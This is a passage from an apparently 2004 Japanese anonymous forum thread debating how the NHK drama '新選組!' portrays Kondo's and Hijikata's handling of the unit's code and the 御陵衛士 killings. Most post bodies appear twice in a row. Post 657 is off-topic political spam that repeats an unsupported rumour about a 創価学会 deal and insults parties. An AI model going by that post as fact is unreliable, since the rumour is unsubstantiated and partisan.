己の信念の解釈が違う。
今の近藤の信念は鴨に言ったように鬼になること。
目標が鬼の局長として新選組を纏めることであり
今のような優しさを出すのは元々の近藤の性。
という解釈。
命がけで和議が成立するのであれば伊東と個別会談はするが
もう、どうしようもない時は土方に一任する。
こう考えれば特に不自然はない。
634 ：名無しさん＠お腹いっぱい。：04/11/04 21:52:49 ID:YNs1aPe0
直参になって法度がなくなったんだから鬼になって隊をまとめる必要ないんじゃねーの。
「これからは上様から預かった隊士の命」とか言ってたじゃん。
武田の遺体を前に涙を浮かべて「もうこれまでにしよう」とかも言ってたし。
それなのに御稜衛士皆殺しは別にいーのか。
昔の仲間でも今は敵なら。
だいたい和議つっても新選組のほうには伊東を殺すつもりはなく
伊東のほうが近藤を殺そうとしてたわけだしな。
どうしようもないってほど深刻な事態とは到底思えん。
「これからは上様から預かった隊士の命」とか言ってたじゃん。
武田の遺体を前に涙を浮かべて「もうこれまでにしよう」とかも言ってたし。
それなのに御稜衛士皆殺しは別にいーのか。
昔の仲間でも今は敵なら。
だいたい和議つっても新選組のほうには伊東を殺すつもりはなく
伊東のほうが近藤を殺そうとしてたわけだしな。
どうしようもないってほど深刻な事態とは到底思えん。
635 ：名無しさん＠お腹いっぱい。：04/11/04 21:53:15 ID:5UGTPn+P
河合の切腹の回の源さんは、少し冷たい感じだった
その次の回ぐらいに周平を救う時、また平助の時などは必死に命乞い
納得いかないものを感じた
その次の回ぐらいに周平を救う時、また平助の時などは必死に命乞い
納得いかないものを感じた
636 ：名無しさん＠お腹いっぱい。：04/11/04 22:19:26 ID:p+uBW5UD
男女についてもマトモな恋愛はなかったな
三谷はちゃんと女と付き合ったことがないんだろう
子供向けに教育上も良くないが、話にふくらみが無くなった。
ところで悪評だった菊川幾松はリストラかな・・・まあそれでイイが
三谷はちゃんと女と付き合ったことがないんだろう
子供向けに教育上も良くないが、話にふくらみが無くなった。
ところで悪評だった菊川幾松はリストラかな・・・まあそれでイイが
637 ：名無しさん＠お腹いっぱい。：04/11/05 00:24:33 ID:GFEiWlrH
なんで「決着」つけなきゃいけなかったんだろうな、御陵衛士と。
＞土方「御陵衛士とは遅かれ早かれ決着を付けなきゃいけねーんだ」→ 近藤も納得
＞土方「御陵衛士とは遅かれ早かれ決着を付けなきゃいけねーんだ」→ 近藤も納得
638 ：名無しさん＠お腹いっぱい。：04/11/05 00:55:13 ID:h/GbATfk
>>628
調べまくったクマは残念だったなw
調べまくったクマは残念だったなw
639 ：名無しさん＠お腹いっぱい。：04/11/05 01:03:59 ID:B3ltWwPi
このドラマはなんでも口に出して言い過ぎると思う。
見てればその人の心情、考えてることぐらい想像でき場面でも
それをわざわざ言わせちゃうから萎える。
見てればその人の心情、考えてることぐらい想像でき場面でも
それをわざわざ言わせちゃうから萎える。
640 ：名無しさん＠お腹いっぱい。：04/11/05 01:24:48 ID:5tnXChnK
641 ：名無しさん＠お腹いっぱい。：04/11/05 01:58:31 ID:1m+7w3Nq
>>634
御陵衛士は彼等にとっては昔の仲間でもなんでもないんだよ。
昔の仲間とは試衛館ズつまり平助のみなんだよ。
だから平助だけは助けようとするけど、他は皆殺しにしてもいいわけ。
最近、この辺が鼻につくんだよね。身内同然の周平の扱いとか。
あれじゃ鍬次郎も血気盛んに先走るわな。
御陵衛士は彼等にとっては昔の仲間でもなんでもないんだよ。
昔の仲間とは試衛館ズつまり平助のみなんだよ。
だから平助だけは助けようとするけど、他は皆殺しにしてもいいわけ。
最近、この辺が鼻につくんだよね。身内同然の周平の扱いとか。
あれじゃ鍬次郎も血気盛んに先走るわな。
642 ：名無しさん＠お腹いっぱい。：04/11/05 02:13:52 ID:aYh9Pi9+
薩摩と長州は自分たちの利益だけを考えているといっている割に
新選組の内部こそ、派閥でガチガチだよな。
しかも国レベルの薩長（しかし土肥は忘れられているのか）に比べ、恐ろしく低レベルな派閥抗争。
新選組の内部こそ、派閥でガチガチだよな。
しかも国レベルの薩長（しかし土肥は忘れられているのか）に比べ、恐ろしく低レベルな派閥抗争。
643 ：名無しさん＠お腹いっぱい。：04/11/05 07:55:12 ID:IlS4cxOu
>>640
ｦﾀのおまいにとって否定的レスは､全部良心的に感じないのは当然だろ｡
>>631もオカシいよな｡ネットで書き込みしてるのはみんな批評家じゃない､一般人だ｡
真面目に批評､批判しようとしてる香具師と､
ただの中傷レスしてる香具師に分かれるのはこのスレだけじゃない｡
ｦﾀって本当に痛いな･･･｡
ｦﾀのおまいにとって否定的レスは､全部良心的に感じないのは当然だろ｡
>>631もオカシいよな｡ネットで書き込みしてるのはみんな批評家じゃない､一般人だ｡
真面目に批評､批判しようとしてる香具師と､
ただの中傷レスしてる香具師に分かれるのはこのスレだけじゃない｡
ｦﾀって本当に痛いな･･･｡
644 ：名無しさん＠お腹いっぱい。：04/11/05 10:11:41 ID:nnQ6A1QE
ふとおもったんだけど、なんで隊士全てが美化されるような内容になってるんだ？
いくらなんでもあんなんじゃ内部闘争なんて起きないし、起きるほうに無理があるような気がするんだが
しかも局長自ら藤堂に「いつでも戻って来い」とか発しちゃうし
なんっていうか威厳が全く感じられない
原田なんてただの馬鹿じゃん
いくらなんでもあんなんじゃ内部闘争なんて起きないし、起きるほうに無理があるような気がするんだが
しかも局長自ら藤堂に「いつでも戻って来い」とか発しちゃうし
なんっていうか威厳が全く感じられない
原田なんてただの馬鹿じゃん
645 ：名無しさん＠お腹いっぱい。：04/11/05 10:17:34 ID:UkyzsMBV
646 ：名無しさん＠お腹いっぱい。：04/11/05 11:01:38 ID:Gpq4Y9+Z
>>641
いや、暗殺目的で面会しに来た伊東を説得しようとしたんだから
すぐ後の皆殺しを肯定するのはいくらなんでもおかしいよ。
会って間もない殿内や河合、葛山みたいな中途採用組の死にも檄高してたし。
ムチャクチャな法度を嫌ってた奴がとる行動ではないよ。
今までの香取近藤からすれば内部分裂による殺し合いなんてなんとしてでも止めるでしょ。
支離滅裂な思考回路を持っていたっていう三谷による新しい近藤像なんだろう。
今回の大河は。
いや、暗殺目的で面会しに来た伊東を説得しようとしたんだから
すぐ後の皆殺しを肯定するのはいくらなんでもおかしいよ。
会って間もない殿内や河合、葛山みたいな中途採用組の死にも檄高してたし。
ムチャクチャな法度を嫌ってた奴がとる行動ではないよ。
今までの香取近藤からすれば内部分裂による殺し合いなんてなんとしてでも止めるでしょ。
支離滅裂な思考回路を持っていたっていう三谷による新しい近藤像なんだろう。
今回の大河は。
647 ：名無しさん＠お腹いっぱい。：04/11/05 11:38:06 ID:XnoJezyM
三谷の雑誌とかのコメントまで読んでる人には
なにか別の印象を持つのかもしれんが、そこまで
のめりこんでいない視聴者にとっては、展開の不自然さと
近藤の人物像の適当さは、回を追うごとに気になって
せっかくの感動的な場面でも集中できないんだよ。
なまじちゃんと見ているだけに、近藤の言うことやること
ズレてるというか、悩んであきらめて流されてきた男が、実は
信念らしきものを持ってたと言い出しても説得力がない。
熱弁も説教も、それに裏づけされたエピソードを見せてくれるとかが
ないと、感情移入ができない。なに言ってんだこいつ、で終わり。
なにか別の印象を持つのかもしれんが、そこまで
のめりこんでいない視聴者にとっては、展開の不自然さと
近藤の人物像の適当さは、回を追うごとに気になって
せっかくの感動的な場面でも集中できないんだよ。
なまじちゃんと見ているだけに、近藤の言うことやること
ズレてるというか、悩んであきらめて流されてきた男が、実は
信念らしきものを持ってたと言い出しても説得力がない。
熱弁も説教も、それに裏づけされたエピソードを見せてくれるとかが
ないと、感情移入ができない。なに言ってんだこいつ、で終わり。
648 ：名無しさん＠お腹いっぱい。：04/11/05 11:40:12 ID:434eGbEF
>>645
じゃあ斎藤は侍じゃないんだな・・・
じゃあ斎藤は侍じゃないんだな・・・
649 ：名無しさん＠お腹いっぱい。：04/11/05 11:50:46 ID:XnoJezyM
650 ：名無しさん＠お腹いっぱい。：04/11/05 12:25:30 ID:C/3QrmYv
>>644
テメー、まったく美化されなかった谷三十郎に謝罪しろ。
テメー、まったく美化されなかった谷三十郎に謝罪しろ。
651 ：名無しさん＠お腹いっぱい。：04/11/05 12:47:34 ID:zgsm72q/
718 ：名無しさんといっしょ ：04/11/05 08:44:27 ID:0FPqgRWa
優しいあんちゃんが、鬼になって組織運営するというのが
今回大河の近藤勇だもの。
周平のは、脱走とするには情緒酌量の余地ありという事だろう。
その点はドラマで出ている。
法度運営の中でできるだけ助けようとするのが近藤。
余地無しが土方。
だから今回も御陵衛士との即戦闘を避けて単独会談を受けた。
今も多摩の近藤ではなく鬼の近藤ですよ。
法度を緩やかにしたのは直参として、勝手に切腹させられない
という、法度の抜け道ができたからです。
一貫して大河の近藤はできうるだけ争いごとや人死に避ける方向で動いています。
ただし、回避不可能となれば、冷たい事でも決断するという形です。
優しいあんちゃんが、鬼になって組織運営するというのが
今回大河の近藤勇だもの。
周平のは、脱走とするには情緒酌量の余地ありという事だろう。
その点はドラマで出ている。
法度運営の中でできるだけ助けようとするのが近藤。
余地無しが土方。
だから今回も御陵衛士との即戦闘を避けて単独会談を受けた。
今も多摩の近藤ではなく鬼の近藤ですよ。
法度を緩やかにしたのは直参として、勝手に切腹させられない
という、法度の抜け道ができたからです。
一貫して大河の近藤はできうるだけ争いごとや人死に避ける方向で動いています。
ただし、回避不可能となれば、冷たい事でも決断するという形です。
652 ：名無しさん＠お腹いっぱい。：04/11/05 13:18:10 ID:0ROgbeqi
とりあえず他人のレスをコピペしてしか自分の意志を表明できないバカは
幼稚園からやり直しましょうね(ﾌﾟ
幼稚園からやり直しましょうね(ﾌﾟ
(ﾌﾟ
654 ：名無しさん＠お腹いっぱい。：04/11/05 13:54:31 ID:lzB4TpW6
ほぼ日でも「近藤は和解→下っ端が暴走」のパターンに
不満が出てるようですな。
不満が出てるようですな。
655 ：名無しさん＠お腹いっぱい。：04/11/05 13:55:01 ID:1vpcUNdm
もう後少しだから、最後まで見るけど
日テレの「白虎隊」や「五稜郭」見て、新選組に興味を持ち、今回の大河を見だした自分にとっては期待ハズレ
他の隊士はまだしも、土方が近藤を敬愛するあまり、法度で自分達新選組の首を絞めた物語に感じられる
あと、井上の周平のみのえこひいきを見ると、鍬次郎たちもひねくれるわなｗ
日テレの「白虎隊」や「五稜郭」見て、新選組に興味を持ち、今回の大河を見だした自分にとっては期待ハズレ
他の隊士はまだしも、土方が近藤を敬愛するあまり、法度で自分達新選組の首を絞めた物語に感じられる
あと、井上の周平のみのえこひいきを見ると、鍬次郎たちもひねくれるわなｗ
656 ：名無しさん＠お腹いっぱい。：04/11/05 14:29:21 ID:hdGKAQrF
確定・２０．１％
657 ：名無しさん＠お腹いっぱい。：04/11/05 15:00:26 ID:zul2bfQK
ついにキﾀ━━(ﾟ∀ﾟ)━━!!外国人選挙法案審議入りへ 〔11/05〕
http://news13.2ch.net/test/read.cgi/news/1099625451/l50
ついに始まった。しかも姑息なことに非公式で話を詰めている…
ちなみに、そもそもの動機がこれ。公明はクズ。知っていながら賛成する民主もクズ。
金大中大統領当時 創価学会の韓国布教解禁を材料に取引、池田氏と合意か？[10/26]
http://news17.2ch.net/test/read.cgi/news4plus/1098958752/l50
658 ：名無しさん＠お腹いっぱい。：04/11/05 20:26:03 ID:gMsTnOAT
>>644
近藤に非が無いように見せたいのかな
近藤に非が無いように見せたいのかな
659 ：名無しさん＠お腹いっぱい。：04/11/05 21:02:01 ID:2sLW7YQK
660 ：名無しさん＠お腹いっぱい。：04/11/05 21:10:47 ID:ttqb5K44
そだね
今や惰性。
今や惰性。
661 ：名無しさん＠お腹いっぱい。：04/11/05 22:35:44 ID:6j5mxC+3
662 ：名無しさん＠お腹いっぱい。：04/11/05 22:45:08 ID:vP7uDXWd
>>639
同意。
萎えるし、大体そういう台詞って聞いてて恥ずかしい。
「俺は鬼になった！」とかさ。
そんなの仁王とか鬼瓦とかお地蔵さんをひと睨みしてるシーン挟みゃ
事足りるっつーの。
源さんの「また一人…」て、アータ。
ところで源さんの芝居、ほのぼのシーンは好きなんだけど、シリアスなシーンでは
なんか一人だけ変に古臭くて浮きまくりなんですが。
同意。
萎えるし、大体そういう台詞って聞いてて恥ずかしい。
「俺は鬼になった！」とかさ。
そんなの仁王とか鬼瓦とかお地蔵さんをひと睨みしてるシーン挟みゃ
事足りるっつーの。
源さんの「また一人…」て、アータ。
ところで源さんの芝居、ほのぼのシーンは好きなんだけど、シリアスなシーンでは
なんか一人だけ変に古臭くて浮きまくりなんですが。
663 ：名無しさん＠お腹いっぱい。：04/11/05 23:02:07 ID:MQ3LlWAY
老若男女向けの「大河」「朝ドラ」なんて、そんなモンちゃうの？
664 ：名無しさん＠お腹いっぱい。：04/11/05 23:14:00 ID:ICJSOLAd
とするには安っぽいな。
やっぱ主役に問題がある。
表現力が限られているし、
この人の出番が少ない方が面白い。
やっぱ主役に問題がある。
表現力が限られているし、
この人の出番が少ない方が面白い。
665 ：名無しさん＠お腹いっぱい。：04/11/05 23:17:24 ID:UBG1kVye
だな。最近CSで昔の大河ドラマを見るけど、中身は「新撰組！」と変わらない。
「徳川家康」や「武田信玄」や「おんな太閤記」。「信長」などの延長として
主人公美化の「新撰組！」があり、香取近藤勇がある。
それだけのことだ。
「徳川家康」や「武田信玄」や「おんな太閤記」。「信長」などの延長として
主人公美化の「新撰組！」があり、香取近藤勇がある。
それだけのことだ。
666 ：名無しさん＠お腹いっぱい。：04/11/05 23:59:14 ID:lzB4TpW6
>法度運営の中でできるだけ助けようとするのが近藤。
>余地無しが土方。
コピペにレスするのもなんだけど。
近藤と土方の間に断絶があるのは別にいいんだけど
そのへんの設定の詰めが甘いのよね。
当初の土方の法度＝酌量の余地がないもの、という理解は
近藤の酌量の余地さえ認めないというスタンスであったはず。
近藤へ「法度を破ればあんたでも切腹」という意味の発言をしてることからも
そのへんは明らか。
だが、38話以降ではこのへんの設定がいつの間にか別のものにすりかわってる。
具体的には、近藤が隊士を助けることが何故か良しになってるんだよね。
斎藤の「近藤さんが助けられるものを何故あんたが助けられない」という問いに
「それは俺の役割じゃない」と答えているが
役割云々以前に土方の中での法度はイコール酌量の余地がないもの、であったはず。
それは「近藤が良しといえば撤回も可能」という意味ではない。
何故ならかつては「近藤でさえも法度に背けば切腹」であったはずなのだから。
土方にとって法度を厳守する主要な理由は「隊をバラバラにしない」ため。
であるならば、例え近藤がどう言おうが法度は厳守しなくてはならない。
それがいつの間にか38話以降では「土方の役割が法度を厳守することなだけで
違う役割を持っている近藤なら助けるのも可」という設定に変化している不思議。
周平が法度を免除されたあとの隊内の波紋がいっさい描かれないのも姑息だ。
さんざん「例外を認めれば隊がバラバラになる」と煽ったくせにね。
>余地無しが土方。
コピペにレスするのもなんだけど。
近藤と土方の間に断絶があるのは別にいいんだけど
そのへんの設定の詰めが甘いのよね。
当初の土方の法度＝酌量の余地がないもの、という理解は
近藤の酌量の余地さえ認めないというスタンスであったはず。
近藤へ「法度を破ればあんたでも切腹」という意味の発言をしてることからも
そのへんは明らか。
だが、38話以降ではこのへんの設定がいつの間にか別のものにすりかわってる。
具体的には、近藤が隊士を助けることが何故か良しになってるんだよね。
斎藤の「近藤さんが助けられるものを何故あんたが助けられない」という問いに
「それは俺の役割じゃない」と答えているが
役割云々以前に土方の中での法度はイコール酌量の余地がないもの、であったはず。
それは「近藤が良しといえば撤回も可能」という意味ではない。
何故ならかつては「近藤でさえも法度に背けば切腹」であったはずなのだから。
土方にとって法度を厳守する主要な理由は「隊をバラバラにしない」ため。
であるならば、例え近藤がどう言おうが法度は厳守しなくてはならない。
それがいつの間にか38話以降では「土方の役割が法度を厳守することなだけで
違う役割を持っている近藤なら助けるのも可」という設定に変化している不思議。
周平が法度を免除されたあとの隊内の波紋がいっさい描かれないのも姑息だ。
さんざん「例外を認めれば隊がバラバラになる」と煽ったくせにね。
667 ：名無しさん＠お腹いっぱい。：04/11/06 00:37:33 ID:hpJk8ZN0
浅野はどうなるのかね
逃がしてもらって
逃がしてもらって
668 ：名無しさん＠お腹いっぱい。：04/11/06 00:42:42 ID:M7d0qngc
>>654
武田の時は、ああこういう持って行き方もあったのか、
と興味深く楽しめたんだがな。
武田は善良ではなかったが、愛嬌もあったから違和感もなかった。
しかし、武田の上手をいくはずの狡猾な伊東の話が同じように処理
されていて、強引な展開にがっかりした。
>>666
主役の言動と行動に一貫性がないから展開が不自然で、
真面目に見ていると疑問と不可解のオンパレードなんだよな・・・。
武田の時は、ああこういう持って行き方もあったのか、
と興味深く楽しめたんだがな。
武田は善良ではなかったが、愛嬌もあったから違和感もなかった。
しかし、武田の上手をいくはずの狡猾な伊東の話が同じように処理
されていて、強引な展開にがっかりした。
>>666
主役の言動と行動に一貫性がないから展開が不自然で、
真面目に見ていると疑問と不可解のオンパレードなんだよな・・・。
669 ：名無しさん＠お腹いっぱい。：04/11/06 00:50:16 ID:phd2qEIu
簡単に土方に従う理由がわからない。
いつも土方がすることと違うことを望んでるようなのに
なぜか土方に従う。
いつも土方がすることと違うことを望んでるようなのに
なぜか土方に従う。
670 ：名無しさん＠お腹いっぱい。：04/11/06 02:03:03 ID:RccG9lM5
俺は侍（直参）になって、土方と近藤が抱き合うってシーンに
違和感があったな。
あそこで、冷めた永倉＆原田って絵があったら
「トップ二人は時代を読めなかったのね」っていう感じに
なったのかもしれないが。
違和感があったな。
あそこで、冷めた永倉＆原田って絵があったら
「トップ二人は時代を読めなかったのね」っていう感じに
なったのかもしれないが。
671 ：名無しさん＠お腹いっぱい。：04/11/06 02:14:51 ID:TYyVtlUi
>>668
本スレ読んで目からウロコが落ちたんだが、世の中には近藤の言動は終始
一貫してると見えてる人もいるんだねぇ。
状況が変わったら対応も変わるのは当然だしとかなんとか言って。
主役の言動が一貫してる以上、展開に不自然さも疑問も感じないというわけだ。
だから彼らにとっちゃ批判意見なんか「根拠のない言いがかり」に見えるんだろうな。
本スレ読んで目からウロコが落ちたんだが、世の中には近藤の言動は終始
一貫してると見えてる人もいるんだねぇ。
状況が変わったら対応も変わるのは当然だしとかなんとか言って。
主役の言動が一貫してる以上、展開に不自然さも疑問も感じないというわけだ。
だから彼らにとっちゃ批判意見なんか「根拠のない言いがかり」に見えるんだろうな。
672 ：名無しさん＠お腹いっぱい。：04/11/06 09:37:56 ID:M7d0qngc
>>671
近藤が一貫してるのは、ふらふら周りに流されて
はっきりした自分の意見がないところ。
そういうキャラと思えばそりゃあ一貫なんだろうが、
まったく魅力のない人物だな。それを周りがまたもてはやすから
そこもまた不自然で不可解なわけだ。カリスマ性が皆無であるのに。
しかし、そんな近藤像であっても魅力を感じる人であれば、
周囲にもまた不自然さは感じないだろう。
そういう人を悪いとは思わない。どこか感覚が違うんだろう。
近藤が一貫してるのは、ふらふら周りに流されて
はっきりした自分の意見がないところ。
そういうキャラと思えばそりゃあ一貫なんだろうが、
まったく魅力のない人物だな。それを周りがまたもてはやすから
そこもまた不自然で不可解なわけだ。カリスマ性が皆無であるのに。
しかし、そんな近藤像であっても魅力を感じる人であれば、
周囲にもまた不自然さは感じないだろう。
そういう人を悪いとは思わない。どこか感覚が違うんだろう。
673 ：名無しさん＠お腹いっぱい。：04/11/06 09:41:44 ID:3E952BMW
最近の大河は視聴者を文盲扱いしているとしか思えん
よって見ていない
よって見ていない
674 ：名無しさん＠お腹いっぱい。：04/11/06 10:13:07 ID:2CAc+bVH
仮に彼が「何か惹き付けられる人間的な魅力」がある人物だとしても
近藤勇は組織の頭なんだから。
優柔不断で付和雷同な性格では、組織を引っ張るリーダーとして通用しない事は明らか。そこが不自然。
そのへんのことは西郷どんの宇梶総長が一番よく知ってると思うが・・
近藤勇は組織の頭なんだから。
優柔不断で付和雷同な性格では、組織を引っ張るリーダーとして通用しない事は明らか。そこが不自然。
そのへんのことは西郷どんの宇梶総長が一番よく知ってると思うが・・
675 ：名無しさん＠お腹いっぱい。：04/11/06 13:19:08 ID:0GHCtZjw
宇梶総長のような暴走族こそ、新選組に近い。
学はなく、ＤＱＮの集合体で、命がけの厳しい規則で縛り付ける。
学はなく、ＤＱＮの集合体で、命がけの厳しい規則で縛り付ける。
676 ：名無しさん＠お腹いっぱい。：04/11/06 13:23:32 ID:A+7N/B2d
俺は浅間山荘事件の連合赤軍を思ったよ。
内ゲバで殺しまくったあげく、権力に歯向かい討ち死に。
内ゲバで殺しまくったあげく、権力に歯向かい討ち死に。
677 ：名無しさん＠お腹いっぱい。：04/11/06 14:09:01 ID:GP+AzT63
>>669
できているからです
できているからです
678 ：名無しさん＠お腹いっぱい。：04/11/06 14:16:23 ID:3hOMZE0d
>>676
行動原理にテロル（恐怖）が存在し、閉ざされた組織下内ゲバが原因で衰亡した
という点では連合赤軍や一部の暴走族連合と共通するかもな。
ただし連合赤軍の場合は始めに反権力ありきで思想によって緊密に結びついた連中であったのに対し
新撰組は個人の名利や欲得で権力側に集まった思想性の乏しい寄せ集め集団。
逃走潜伏状態で息がつまり革命思想そのものに自家中毒を起こしたノイローゼ集団と
集団統制のために内部に死の規律を強制し
社会全体の激変そっちのけで派閥抗争に明け暮れ時流に乗り損ねた成り上がりDQNとでは
その組織の性格がまるっきり違うだろう。
まあ「士道不覚悟」と「自己批判」の言葉の曖昧さを利用した粛清の理屈の立て方は結構似てる気もするが。
行動原理にテロル（恐怖）が存在し、閉ざされた組織下内ゲバが原因で衰亡した
という点では連合赤軍や一部の暴走族連合と共通するかもな。
ただし連合赤軍の場合は始めに反権力ありきで思想によって緊密に結びついた連中であったのに対し
新撰組は個人の名利や欲得で権力側に集まった思想性の乏しい寄せ集め集団。
逃走潜伏状態で息がつまり革命思想そのものに自家中毒を起こしたノイローゼ集団と
集団統制のために内部に死の規律を強制し
社会全体の激変そっちのけで派閥抗争に明け暮れ時流に乗り損ねた成り上がりDQNとでは
その組織の性格がまるっきり違うだろう。
まあ「士道不覚悟」と「自己批判」の言葉の曖昧さを利用した粛清の理屈の立て方は結構似てる気もするが。
679 ：名無しさん＠お腹いっぱい。：04/11/06 15:16:23 ID:jvb84oK4
あれも正確には内ゲバ（派閥間抗争）とは言えないんだけどね。 ＞連合赤軍
下っ端たちに因縁つけてはリンチ（「総括」という）してただけだから。
目的も粛清（反対派の追放）ではなく、退屈しのぎのリンチそのものが目的になってたようだし。
首謀者の永田洋子は、この「総括」から生き残った者だけが
真の革命戦士として生まれ変わると本気で思ってたようだし。
下っ端たちに因縁つけてはリンチ（「総括」という）してただけだから。
目的も粛清（反対派の追放）ではなく、退屈しのぎのリンチそのものが目的になってたようだし。
首謀者の永田洋子は、この「総括」から生き残った者だけが
真の革命戦士として生まれ変わると本気で思ってたようだし。
680 ：名無しさん＠お腹いっぱい。：04/11/06 15:32:50 ID:CgxI7j2V
つまり
永田洋子＞＞近藤勇と
永田洋子＞＞近藤勇と
681 ：名無しさん＠お腹いっぱい。：04/11/06 15:46:09 ID:RtPbAoso
>>666
近藤であるとも法度に触れれば切腹なのは確かです。
逆に言えば法度に触れなければ問題ありません。
法度触れたかどうかを判断するのは個人の判断となります。
近藤はできるだけ触れていない判断します。
土方が苛烈にふるまうのは仰るとおり隊規をしめるため。
何故苛烈に隊規を締めるかと言えば、近藤が優しいから
副長が締めるしかないという判断です（役割分担）
これは一貫していると思いますが？
666さんが近藤不在時に行われた土方運営のイメージではないでしょうか？
物語上でも「近藤さんが要れば」という話はちらほらあったはずです。
周平の件ですが、あれは陰謀に巻き込まれ、脱走では無いとの判断です。
土方の預かり知らない密室裁判です。
ただし、隊内の波紋は多くに反映されていると思います。
桑の暴走はこの影響ですし。
ただ物語り上でも、初期の苛烈さが緩やかになっているのは事実だと思います。
顕著になったのは直参になってからですが。
まぁ創業時と成功して安定しはじめた時期との運営の差かと。
近藤であるとも法度に触れれば切腹なのは確かです。
逆に言えば法度に触れなければ問題ありません。
法度触れたかどうかを判断するのは個人の判断となります。
近藤はできるだけ触れていない判断します。
土方が苛烈にふるまうのは仰るとおり隊規をしめるため。
何故苛烈に隊規を締めるかと言えば、近藤が優しいから
副長が締めるしかないという判断です（役割分担）
これは一貫していると思いますが？
666さんが近藤不在時に行われた土方運営のイメージではないでしょうか？
物語上でも「近藤さんが要れば」という話はちらほらあったはずです。
周平の件ですが、あれは陰謀に巻き込まれ、脱走では無いとの判断です。
土方の預かり知らない密室裁判です。
ただし、隊内の波紋は多くに反映されていると思います。
桑の暴走はこの影響ですし。
ただ物語り上でも、初期の苛烈さが緩やかになっているのは事実だと思います。
顕著になったのは直参になってからですが。
まぁ創業時と成功して安定しはじめた時期との運営の差かと。
682 ：名無しさん＠お腹いっぱい。：04/11/06 16:11:48 ID:A+7N/B2d
安定し始めた時期
というか、崩壊が始まってるわけだが…
当人たちは気づいていない、と。
外では時代が激動してるのに、内輪で何やってんの
という感は否めない
というか、崩壊が始まってるわけだが…
当人たちは気づいていない、と。
外では時代が激動してるのに、内輪で何やってんの
という感は否めない
683 ：名無しさん＠お腹いっぱい。：04/11/06 16:21:52 ID:xfhMER7I
>>681
>何故苛烈に隊規を締めるかと言えば、近藤が優しいから
>副長が締めるしかないという判断です（役割分担）
論点が微妙にずれてる。
「始まりの死」の回を見返してみればわかるが
近藤と土方の役割分担とは
処罰を公に言い渡す＝憎まれ役を引き受けるのが土方、
というだけのことであって
「法度触れたかどうかを判断するのは個人の判断」などという
曖昧な論理のもとに判断を個々人に委ねているという意味ではなかった。
近藤が土方のやり方に反発するのは個人の勝手だから別にいいが
だからといって近藤のやり方が通るわけではない。
そのへんは32話の冒頭で土方の口によってはっきり語られている。
「結束を固めるには法度で縛るしかねえ」
「ついてこられない奴が出てきたら法度を厳しくするだけ」
このシーンでは近藤の言い分（こんなことでは隊士がついてこないetc）は
ことごとく土方に却下されている。
近藤が法度を好意的に解釈する余地を土方はまったく許容してないんだよ。
>物語上でも「近藤さんが要れば」という話はちらほらあったはずです。
ない。38話の土方の唐突な発言が初出だ。
ひょっとしたら山南や永倉は言ってたかもしれんが（俺の記憶では言ってないが）
他の連中の発言はここでは問題ではない。
問題なのは土方の法度解釈なのだから。
続く。
>何故苛烈に隊規を締めるかと言えば、近藤が優しいから
>副長が締めるしかないという判断です（役割分担）
論点が微妙にずれてる。
「始まりの死」の回を見返してみればわかるが
近藤と土方の役割分担とは
処罰を公に言い渡す＝憎まれ役を引き受けるのが土方、
というだけのことであって
「法度触れたかどうかを判断するのは個人の判断」などという
曖昧な論理のもとに判断を個々人に委ねているという意味ではなかった。
近藤が土方のやり方に反発するのは個人の勝手だから別にいいが
だからといって近藤のやり方が通るわけではない。
そのへんは32話の冒頭で土方の口によってはっきり語られている。
「結束を固めるには法度で縛るしかねえ」
「ついてこられない奴が出てきたら法度を厳しくするだけ」
このシーンでは近藤の言い分（こんなことでは隊士がついてこないetc）は
ことごとく土方に却下されている。
近藤が法度を好意的に解釈する余地を土方はまったく許容してないんだよ。
>物語上でも「近藤さんが要れば」という話はちらほらあったはずです。
ない。38話の土方の唐突な発言が初出だ。
ひょっとしたら山南や永倉は言ってたかもしれんが（俺の記憶では言ってないが）
他の連中の発言はここでは問題ではない。
問題なのは土方の法度解釈なのだから。
続く。
で、話を戻すと、
土方としては32話時点では近藤の恩赦さえ許容しないという
スタンスであったはずなのに
38話ではいつの間にかそれを許容していることになっている、と。
さらに言うと、38話の土方は
「近藤さんがいれば助けられただろうに」と言った側から
永倉に対して「山南が死んだということは一切の例外は認めない
ということだ」と、まるっきり正反対の発言をする錯綜ぶり。
>土方の預かり知らない密室裁判です。
密室裁判としてしか描けない時点で限界じゃない？
土方が、近藤が法度を好意的に解釈することを本当に許しているなら
あそこに土方も同席させればいい。
それなのにそうしなかったのは（「俺も行こう」と言わせて永倉に止めさせる）
作者の狡さだと思うけど。
結果的に土方が近藤の隊士助命（武田）を初めて公に許したのが
法度がなくなったあと（41話）だというのもずるいね。
ある意味では実に巧いとも思うけど。
>ただし、隊内の波紋は多くに反映されていると思います。
>桑の暴走はこの影響ですし。
なら周平が鍬に問い詰められたり狙われたりする描写があってもいいはず。
周平が助命された波紋で鍬が武田や伊東を殺したという意味で言ってるのだとしたら
あまりにもこじ付けが過ぎる。
土方としては32話時点では近藤の恩赦さえ許容しないという
スタンスであったはずなのに
38話ではいつの間にかそれを許容していることになっている、と。
さらに言うと、38話の土方は
「近藤さんがいれば助けられただろうに」と言った側から
永倉に対して「山南が死んだということは一切の例外は認めない
ということだ」と、まるっきり正反対の発言をする錯綜ぶり。
>土方の預かり知らない密室裁判です。
密室裁判としてしか描けない時点で限界じゃない？
土方が、近藤が法度を好意的に解釈することを本当に許しているなら
あそこに土方も同席させればいい。
それなのにそうしなかったのは（「俺も行こう」と言わせて永倉に止めさせる）
作者の狡さだと思うけど。
結果的に土方が近藤の隊士助命（武田）を初めて公に許したのが
法度がなくなったあと（41話）だというのもずるいね。
ある意味では実に巧いとも思うけど。
>ただし、隊内の波紋は多くに反映されていると思います。
>桑の暴走はこの影響ですし。
なら周平が鍬に問い詰められたり狙われたりする描写があってもいいはず。
周平が助命された波紋で鍬が武田や伊東を殺したという意味で言ってるのだとしたら
あまりにもこじ付けが過ぎる。
685 ：名無しさん＠お腹いっぱい。：04/11/06 17:04:38 ID:2CAc+bVH
細けーなぁ、ほんと・・
アンチか信者か知らないけど、
なにもそんなにまでしてドラマのささいな描写を細かく揚げ足取らなくってもいいんじゃない？
木を見て森を見ず、みたいな見方じゃあどんなドラマ見たってつまんないだろうに・・
アンチか信者か知らないけど、
なにもそんなにまでしてドラマのささいな描写を細かく揚げ足取らなくってもいいんじゃない？
木を見て森を見ず、みたいな見方じゃあどんなドラマ見たってつまんないだろうに・・
686 ：名無しさん＠お腹いっぱい。：04/11/06 17:26:26 ID:MPJdQzNS
まあこの大河の場合は木を見ても森を見てもつまらんがな
687 ：名無しさん＠お腹いっぱい。：04/11/06 17:28:44 ID:FlDd+0H5
些細…かな？
群像劇って登場人物の心理描写が物語りの要じゃないのか？
